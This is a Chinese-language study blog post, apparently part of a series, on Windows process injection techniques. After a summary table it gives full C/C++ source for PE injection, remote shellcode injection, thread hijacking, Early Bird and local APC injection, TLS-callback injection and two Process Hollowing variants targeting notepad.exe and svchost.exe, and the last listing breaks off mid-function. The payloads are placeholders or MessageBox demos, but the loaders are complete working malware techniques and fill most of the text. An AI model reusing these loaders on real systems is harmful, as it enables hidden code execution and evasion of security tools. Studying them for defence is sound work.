Process-Inject-贰

darkwork

总结

学习代码放在:https://github.com/yongsheng220/ProcessInject

名称 概述 Windows APIs
经典DLL注入 通过dll落地,远程调用LoadLibrary加载恶意dll OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
LoadLibrary
反射DLL注入 通过远程调用自定义ReflectiveLoader函数模拟PE加载过程 OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
Dll Hollowing 通过镂空加载的合法DLL,执行恶意代码 LoadLibraryEx
NtCreateSection + NtMapViewOfSection
CreateThread
PE注入 通过将恶意PE写到远程目标后,创建线程执行恶意方法 OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
线程注入 通过暂停远程线程,将eip/rip指向写入的shellcode OpenThread
SuspendThread
VirtualAllocEx
WriteProcessMemory
SetThreadContext
ResumeThread
APC注入 APC机制执行 OpenProcess/OpenThread
VirtualAllocEx
WriteProcessMemory
QueueUserAPC
TLS注入 TLS机制执行
Process Hollowing 通过创建挂起进程,卸载源PE,写入恶意PE CreateProcess
NtUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
Process Overwriting 直接将恶意PE覆写源PE CreateProcess
VirtualProtectEx
WriteProcessMemory
ResumeThread
Process Stomping 将shellcode写到滥用RWX属性的PE中 CreateProcess
WriteProcessMemory
ResumeThread
Process Doppelganging 利用事务NTFS回滚特性,优化内存属性 CreateTransaction
CreateFileTransactedW
RollbackTransaction
NtCreateProcessEx
NtCreateThreadEx
Transacted Hollowing Hollowing 和 Doppelganging的综合优化
Process Ghosting 利用文件删除标志位,”无文件”落地 NtSetInformationFile
NtCreateProcessEx
NtCreateThreadEx
Ghostly Hollowing Process Ghosting优化

PE注入

原理见图:通过 OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread 系列API进行远程注入

pe-injection

常规注入PE

将自身作为携带恶意函数的PE写到目标进程中通过处理重定位表后执行恶意方法

流程如下:

  • OpenProcess 打开目标进程

  • VirtualAllocEx 开辟空间

  • 修复重定位

  • WriteProcessMemory 写入恶意PE

  • CreateRemoteThread 执行恶意代码

#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>

using namespace std;

typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
// 恶意方法
DWORD InjectionEntryPoint()
{
CHAR moduleName[128] = "";
GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
return 0;
}

BOOL PrivilegeEscalation()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
else {
cout << "[+]提权成功" << endl;
return TRUE;
}
}

DWORD GetProcessPID(LPCSTR lpProcessName)
{
DWORD rPid = 0;
// 初始化结构体信息,用于枚举进程
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);

HANDLE lpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE) { cout << "[-]创建快照失败" << endl; return 0; }
if (Process32First(lpSnapshot, &processEntry)) {
do {
if (lstrcmp(processEntry.szExeFile, lpProcessName) == 0) {
rPid = processEntry.th32ProcessID;
break;
}
} while (Process32Next(lpSnapshot, &processEntry));
}
CloseHandle(lpSnapshot);
cout << "[*]PID: " << rPid << endl;
return rPid;
}

int main()
{
LPCSTR name = "notepad.exe";
// 提升当前进程权限
if (!PrivilegeEscalation()) { cout << "[-]提升权限失败" << endl; return 1; }

PVOID imageBase = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dosHeader->e_lfanew);

PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

DWORD Pid = GetProcessPID(name);
if (Pid == 0) { cout << "[-]获取PID失败" << endl; return 1; }
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, Pid);
if (hProcess == INVALID_HANDLE_VALUE) { cout << "[-]打开进程失败" << endl; return 1; }

PVOID tarImageBase = VirtualAllocEx(hProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR offset = (DWORD_PTR)tarImageBase - (DWORD_PTR)imageBase;
cout << "[*]tarImageBase: " << tarImageBase << endl;
cout << "[*]localImage: " << localImage << endl;
cout << "[*]Offset: " << hex << offset << endl;

//获取重定位表
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;

//遍历重定位块
while (relocationTable->SizeOfBlock > 0)
{
// 获取重定位块中包含的重定位项的数量
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

for (short i = 0; i < relocationEntriesCount; i++)
{
if (relocationRVA[i].Offset)
{
patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
*patchedAddress += offset;
}
}
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}

WriteProcessMemory(hProcess, tarImageBase, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);
//memset(localImage, 0, ntHeader->OptionalHeader.SizeOfImage);
VirtualFree(localImage, 0, MEM_RELEASE);

// 本地InjectionEntryPoint + offset = 远程InjectionEntryPoint
HANDLE hRemoteHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + offset), NULL, 0, NULL);
if (hRemoteHandle == INVALID_HANDLE_VALUE) { cout << "[-]创建远程线程失败" << endl; return 1; }
WaitForSingleObject(hRemoteHandle, INFINITE);
CloseHandle(hRemoteHandle);

return 0;
}

image-20240831234806964

变体注入shellcode

如果只执行shellcode,就不用繁杂的处理PE,只要远程写入、远程调用即可。

流程如下:

  • OpenProcess 打开目标进程

  • VirtualAllocEx 开辟空间

  • WriteProcessMemory 写入shellcode

  • CreateRemoteThread 执行shellcode

int main()
{
// 提升当前进程权限
if (!PrivilegeEscalation()) {cout << "[-]提升权限失败" << endl;return 1;}
// 要注入的进程名字
LPCSTR tname = "notepad.exe";
DWORD Pid = GetProcessPID(tname);
if (Pid == NULL) { cout << "[-]获取PID失败" << endl; return 1; }
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == INVALID_HANDLE_VALUE){cout << "[-]打开进程失败" << endl;return 1;}
SIZE_T length = sizeof(shellcode);
LPVOID pshellcode = VirtualAllocEx(hProcess, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pshellcode, shellcode, length, NULL);
HANDLE hRemoteHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pshellcode, NULL, 0, NULL);
WaitForSingleObject(hRemoteHandle, INFINITE);
CloseHandle(hRemoteHandle);
return 0;
}

线程劫持

原理如图:通过 SuspendThread、GetThreadContext、修改上下文eip/rip、SetThreadContext、ResumeThread恢复线程执行shellcode 进行远程注入

thread-hijack

代码:

unsigned char shellcode[] = "";

LPCSTR name = "notepad.exe";
DWORD targetPID = GetProcessPID(name);

HANDLE threadHijacked = NULL;
THREADENTRY32 threadEntry;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);

HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (targetProcessHandle == INVALID_HANDLE_VALUE) { cout << "[-]打开进程失败" << endl; return 0; }
PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &threadEntry);

while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
if (threadHijacked == INVALID_HANDLE_VALUE) { cout << "[-]打开线程失败" << endl; return 0; }
break;
}
}

SuspendThread(threadHijacked);

GetThreadContext(threadHijacked, &context);
context.Rip = (DWORD_PTR)remoteBuffer;
SetThreadContext(threadHijacked, &context);

ResumeThread(threadHijacked);

return 0;

APC注入

APC是在某一个进程中的N多线程各自维护一个任务队列,用于异步回调,当线程处于alertable状态时,执行队列里的任务的一种机制。

APC注入简单来说就是往队列里插入执行shellcode的任务。

常规的APC进程注入具有不确定性,需要线程能够处于alertable状态,而处于该状态是需要一些特定函数的:ReadFileEx,SetWaitableTimer, SetWaitableTimerEx和WriteFileEx等 ,所以常规是注入到explorer.exe下的所有线程中,故不再记录。

这里直接记录比较实用的两种技术:Early Bird远程进程注入本地进程注入,在这之前要先介绍 NtTestAlert 函数,该函数是ntdll中一个未导出函数,会在线程初始化时进行调用,作用是清空并处理APC队列内任务,所以会在进程的主线程入口点之前运行任务并接管进程控制权。具体调用链为:LdrInitializeThunk → LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher

Early Bird

Early Bird 远程注入原理 :创建一个主线程挂起的进程,然后恢复线程进行初始化,调用NtTestAlert执行shellcode

流程如下:

  • 创建一个挂起的进程(通常是windows的合法进程),如svchost

  • 在挂起的进程内申请一块可读可写可执行的内存空间

  • 往申请的空间内写入shellcode

  • 将APC插入到该进程的主线程

  • 恢复挂起进程的线程

  • ResumeThread调用NtTestAlert

  • 处理APC队列

#include <Windows.h>

int main()
{
unsigned char buf[] = "xxx";
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

return 0;
}

因为这样要创建一个新的进程,很有可能会有窗口体显示,所以还可以在 已存在进程中注入

  • 在已有进程中创建一个挂起的线程

  • 写入shellcode

  • 插入apc队列

  • 恢复挂起的线程

int main()
{
unsigned char shellcode[] = "";
LPCSTR name = "notepad.exe";
DWORD targetPID = GetProcessPID(name);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, targetPID);
PVOID AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0);
system("pause");
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
//插入APC队列
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
system("pause");
//恢复线程触发APC执行
ResumeThread(hThread);
//WaitForSingleObject(hThread,INFINITE);
//CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}

注入notepad.exe

QQ_1721143608451

本地进程注入

本地进程注入原理:自身主动调用NtTestAlert处理APC,相关代码在《免杀入门》出现过

#include <Windows.h>
#include <stdio.h>

typedef DWORD(WINAPI* pNtTestAlert)();

unsigned char buf[] = "shellcode is here";

int main()
{
// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

//获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

// 将buf强转为APC 函数,向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), NULL);

//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();

return 0;
}

TLS注入

关于TLS,个人认为算不上是进程注入的一种技术,更像是一种能够代码执行的机制,TLS机制在《免杀入门》已经有过介绍,这里引用:

https://idiotc4t.com/code-and-dll-process-injection/tls-code-execute 代码,实现 TLS机制+mapping技术进行进程注入。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment (lib, "OneCore.lib")
#include <Tlhelp32.h>

char shellcode[] = "";

DWORD pid;
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
WCHAR lpszProcessName[] = L"notepad.exe";
if (dwReason == DLL_PROCESS_ATTACH)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
}
}

#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")

#pragma data_seg (".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()

int main()
{
return 0;
}

Process Hollowing*

进程镂空/傀儡进程 基本原理如图:类似于DLL Hollowing,掏空目标(exe进程)的内存空间,覆写PE/shellcode。

process-hollowing

在我学习该方法时,有许多的变体,这里列出表格概述:原始PE为要注入的合法目标,新PE为待注入的恶意软件

名称 原理解释
经典Process Hollowing 原始 PE 在内存中取消映射,并且新PE从相同起始地址开辟RWX空间,写入后执行
经典Process Hollowing变体 原始PE内存中保持原样,新PE被写入到新的RWX内存,从新地址执行
Process Overwriting 原始PE内存中保持映射,直接将新PE覆写,执行
Process Stomping 通过寻找滥用RWX权限section的PE (exe或dll) ,将shellcode写入该区域,执行

另外关于不同版本:

当编译为32位时,仅支持x86架构

32 bit evil-PE -> 32 bit target-PE

当编译为64位时,支持两种架构

64 bit evil-PE -> 64 bit target-PE
32 bit evil-PE -> 32 bit target-PE

经典Process Hollowing

经典镂空通过创建挂起的进程,将内存映射取消,并在同一位置(基址)开辟内存,将要注入的PE覆写进去,通过设置寄存器的值设置上下文,然后恢复挂起线程。

流程如下:

  • CreateProcess 创建一个挂起的合法进程

  • CreateFile 读取恶意PE

  • GetThreadContext 获取挂起进程上下文与环境信息

  • NtUnmapViewOfSection 卸载挂起进程内存

  • VirtualAllocEx 开辟空间

  • WriteProcessMemory 写入PE

  • 修复重定位表

  • SetThreadContext 设置上下文

  • ResumeThread 恢复挂起进程

#include <iostream>
#include <Windows.h>

using namespace std;

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

typedef struct IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} IMAGE_RELOCATION_ENTRY, * PIMAGE_RELOCATION_ENTRY;

// 要确保SourceFile和TargetFile的Subsystem相同,否则注入失败
const LPCSTR SourceFile = "C:\\Users\\cys\\Desktop\\shellcode.exe"; // 待注入PE
const LPCSTR TargetFile = "C:\\windows\\System32\\svchost.exe"; // 目标PE

// Process-Hollowing
int main()
{
//创建挂起进程
STARTUPINFOA si = { 0 };
si.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi;

CreateProcessA(
TargetFile,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

if (!pi.hProcess) { cerr << "[-]Creat process fail"; return 1; }
cout << "[+]Process PID: " << pi.dwProcessId << endl;

HANDLE hfile = CreateFile(SourceFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwFileSize = GetFileSize(hfile, NULL);
PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD dwReadSize = 0;
ReadFile(hfile, lpBuffer, dwFileSize, &dwReadSize, NULL);
CloseHandle(hfile);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
PVOID RemoteImageBase;
BOOL readpeb = NULL;

// 获取被挂起进程基址技巧:通过寄存器https://bbs.kanxue.com/thread-253432-1.htm
#ifdef _WIN64
// 从rdx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址
readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
// 从ebx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址
readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
if (!readpeb) {
DWORD error = GetLastError();
cout << "[-]ReadProcessMemory failed with error code: " << error << endl;
return 1;
}
// unmap卸载内存
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NTSTATUS result = NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);
if (result) { cout << "[-]NtUnmapViewOfSection fail" << endl; return 1; }

const auto pDos = (PIMAGE_DOS_HEADER)lpBuffer;
const auto pNt = (PIMAGE_NT_HEADERS)((LPBYTE)lpBuffer + pDos->e_lfanew);

//对挂起进程开辟空间
LPVOID pRemoteMem = VirtualAllocEx(pi.hProcess, RemoteImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "[*]VirtualAllocEx: 0x" << pRemoteMem << endl;

const DWORD64 DeltaImageBase = (DWORD64)pRemoteMem - pNt->OptionalHeader.ImageBase;
pNt->OptionalHeader.ImageBase = (DWORD64)pRemoteMem;

//写入文件头,包括 DOS/NT/SECTION headers
//从 pi.hProcess 中的 pRemoteMem 地址开始写 lpBuffer 内容的 pNt->OptionalHeader.SizeOfHeaders 大小字节
WriteProcessMemory(pi.hProcess, pRemoteMem, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);

const IMAGE_DATA_DIRECTORY ImageDataReloc = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_SECTION_HEADER lpImageRelocSection = nullptr;

//写入section节区
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)pNt + 4 + sizeof(IMAGE_FILE_HEADER) + pNt->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
// 定位reloc
if (ImageDataReloc.VirtualAddress >= lpImageSectionHeader->VirtualAddress && ImageDataReloc.VirtualAddress < (lpImageSectionHeader->VirtualAddress + lpImageSectionHeader->Misc.VirtualSize))
lpImageRelocSection = lpImageSectionHeader;

PVOID pSectionDestination = (PVOID)((LPBYTE)pRemoteMem + lpImageSectionHeader->VirtualAddress);
WriteProcessMemory(pi.hProcess, pSectionDestination, (LPVOID)((uintptr_t)lpBuffer + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
cout << "[*]Writing " << lpImageSectionHeader->Name << " section to 0x" << hex << pSectionDestination << endl;
}

cout << "[+] Relocation section :" << lpImageRelocSection->Name << endl;

//修复重定位
DWORD RelocOffset = 0;
while (RelocOffset < ImageDataReloc.Size)
{
const auto lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)lpBuffer + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_BASE_RELOCATION);
const DWORD NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_ENTRY);
for (DWORD i = 0; i < NumberOfEntries; i++)
{
const auto lpImageRelocationEntry = (PIMAGE_RELOCATION_ENTRY)((DWORD64)lpBuffer + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_RELOCATION_ENTRY);

if (lpImageRelocationEntry->Type == 0)
continue;
const DWORD64 AddressLocation = (DWORD64)pRemoteMem + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset;
DWORD64 PatchedAddress = 0;
ReadProcessMemory(pi.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);
PatchedAddress += DeltaImageBase;
WriteProcessMemory(pi.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);
}
}
cout << "[+] Relocations done" << endl;


//https://stackoverflow.com/questions/57341183/view-address-of-entry-point-in-eax-register-for-a-suspended-process-in-windbg
#ifdef _WIN64
//将rcx寄存器设置为注入软件的入口点
ctx.Rcx = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
//将eax寄存器设置为注入软件的入口点
ctx.Eax = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);
#endif
//释放本内存中PE痕迹
VirtualFree(lpBuffer, 0, MEM_RELEASE);
cout << "[+]SetThreadContext" << endl;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}

unmap前:Image类型内存

QQ_1721573785580

unmap后:取消映射

QQ_1721573824084

同一地址再开辟:变为Private类型

QQ_1721573892710

恢复线程:

QQ_1723687845227

QQ_1723688440624

过程中一些问题:

Q:为什么修复重定位表?

A:加载基址与imagebase不一样。

Q:程序没有reloc怎么办?

A:使用变体即可,否则使用经典会报错

QQ_1723688682452

Q:为什么在x64镂空svchost.exe会失败?

A:看到某项目中一句话,具体原因还没调试。

In Process Hollowing Injection technique, it Crashes With Some 64bit process like System32\svchost.exe,... 

QQ_1721575525006

后来发现和 编译选项 /Subsystem 有关,右图为svchost.exe,它的Subsystem为GUI APP,而我编译要注入的程序为Console App,所以导致无法正常执行。

QQ_1722873859246

解决方法为:将编译选项更换与svchost.exe相同

QQ_1722873994874

同时将注入的PE修改函数为WinMain

#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MessageBoxA(0, "Process Hollowing", "Process Hollowing", 0);
return 0;
}

正常运行!

QQ_1722874104137

Q:这一行代码作用?: WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);

A:恢复PEB基址

参考:

https://github.com/m0n0ph1/Process-Hollowing 原始x86

https://github.com/comosedice2012/Introduction-to-Process-Hollowing 没有重定位

Process Hollowing 变体

该变体,是网上文章中最常见的代码。不使用NtUnmapViewOfSection卸载原映射内存,通过要注入PE的OptionalHeader的ImageBase,直接在挂起进程中的该地址开辟新空间、写入PE,这样就省区了修复重定位表的操作。

对于exe,32位默认基地址(imagebase)是0x400000,64位是0x1400000
对于DLL,32位默认基地址(imagebase)是0x10000000,64位是0x1800000

流程如下:

  • CreateProcess 创建一个挂起的合法进程
  • CreateFile 读取恶意PE
  • GetThreadContext 获取挂起进程上下文与环境信息
  • VirtualAllocEx 开辟空间
  • WriteProcessMemory 写入PE
  • SetThreadContext 设置上下文
  • ResumeThread 恢复挂起进程
#include <iostream>
#include <Windows.h>

using namespace std;

// 要确保SourceFile和TargetFile的Subsystem相同以及 位数相同,否则注入失败
const LPCSTR SourceFile = "C:\\Users\\cys\\Desktop\\box64.exe"; // 待注入PE
const LPCSTR TargetFile = "C:\\windows\\System32\\svchost.exe"; // 目标PE

// Process-Hollowing 变体
int main()
{
//创建挂起进程
STARTUPINFOA si = { 0 };
si.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi;

CreateProcessA(
TargetFile,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

if (!pi.hProcess) { cerr << "[-]Creat process fail"; return 1; }
cout << "[+]Process PID: " << pi.dwProcessId << endl;

HANDLE hfile = CreateFile(SourceFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwFileSize = GetFileSize(hfile, NULL);
PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD dwReadSize = 0;
ReadFile(hfile, lpBuffer, dwFileSize, &dwReadSize, NULL);
CloseHandle(hfile);

// 获取挂起进程的线程上下文和映像基址
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
PVOID RemoteImageBase;
BOOL readpeb = NULL;

// 获取被挂起进程基址技巧:通过寄存器https://bbs.kanxue.com/thread-253432-1.htm
#ifdef _WIN64
// 从rdx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址
readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
// 从ebx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址
readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
if (!readpeb) {
DWORD error = GetLastError();
cout << "[-]ReadProcessMemory failed with error code: " << error << endl;
return 1;
}

PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (LPBYTE)lpBuffer);

// 对挂起进程开辟空间
PVOID pRemoteMem = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "[*]VirtualAllocEx: " << pRemoteMem << endl;

//写入文件头,包括 DOS/NT/SECTION headers
// 从 pi.hProcess 中的 pRemoteMem 地址开始写 lpBuffer 内容的 pNt->OptionalHeader.SizeOfHeaders 大小字节
WriteProcessMemory(pi.hProcess, pRemoteMem, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);

//写入section节区
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
auto pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
// section data为空
if (!pSectionHeaders->PointerToRawData)
{
continue;
}
PVOID pSectionDestination = (PVOID)((LPBYTE)pRemoteMem + pSectionHeaders->VirtualAddress);
WriteProcessMemory(pi.hProcess, pSectionDestination, (PVOID)((LPBYTE)lpBuffer + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
cout << "[*]Writing " << pSectionHeaders->Name << " section to 0x" << hex << pSectionDestination << endl;
}

